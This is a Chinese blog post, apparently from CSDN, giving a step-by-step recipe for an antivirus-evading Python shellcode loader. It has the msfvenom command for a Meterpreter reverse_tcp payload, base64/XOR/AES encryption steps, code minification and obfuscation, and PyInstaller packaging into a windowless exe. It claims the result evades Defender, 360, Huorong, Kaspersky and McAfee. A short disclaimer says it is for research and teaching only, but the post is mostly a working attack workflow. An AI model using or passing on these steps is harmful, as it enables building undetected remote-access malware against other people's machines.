免杀方法(四)Python免杀shellcode加载器

项目作者:HZzz2

项目地址:https://github.com/HZzz2/python-shellcode-loader

一、工具介绍

免杀方式 msfvenom生成raw格式的shellcode–>base64–>XOR–>AES

将python代码缩小并混淆最后生成exe

目前过DF、360和火绒 virustotal:7/66过卡巴斯基、迈克菲等

二.安装与使用

1.获取项目

git clone https://github.com/HZzz2/python-shellcode-loader.git
cd python-shellcode-loader 
pip install -r requirements.txt

  

2.生成shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=9999 -f raw > rev.raw

 3.base64编码shellcode并替换jiami.py中的值

base64 -w 0 -i rev.raw > rev.bs64
cat rev.bs64
复制base64的值替换jiami.py中payload 也就是 第二十四行 sc='payload'

 

 4、加密base64并替换main.py中的值

#加密base64后的shellcode
python3 jiami.py
#会生成一个aes-xor.txt的文件,复制文件里的值(经过XOR和AES加密后)复制的值替换main.py中的payload 也就是第四十一行 jiami_sc='payload'

 

5.缩小和混淆py代码

缩小python代码
pyminify main.py --output main-mini.py
混淆main-mini.py中的python代码
https://pyob.oxyry.com/ 在线混淆

 

将混淆后的代码保存到一个文件中,比如文件名为:main-mini-ob.py

6、打包成可执行文件exe

 这里需要先安装模块tinyaes

#打包成exe
pyinstaller.exe -Fw -i .setting.ico --key=leslie .main-mini-ob.py
-F 打包为单文件 -w 不显示窗口 -i ico图标文件 --key 加密字节码的密钥等待打包完成。。。。打包好后的可执行程序在dist目录中

 

 免杀结果

免责声明

仅供安全研究与教学之用,如果使用者将其做其他用途,由使用者承担全部法律及连带责任,本人不承担任何法律及连带责任。

所谓宿命,其实都是最好的安排。

 

  • 1
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

夜yesec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值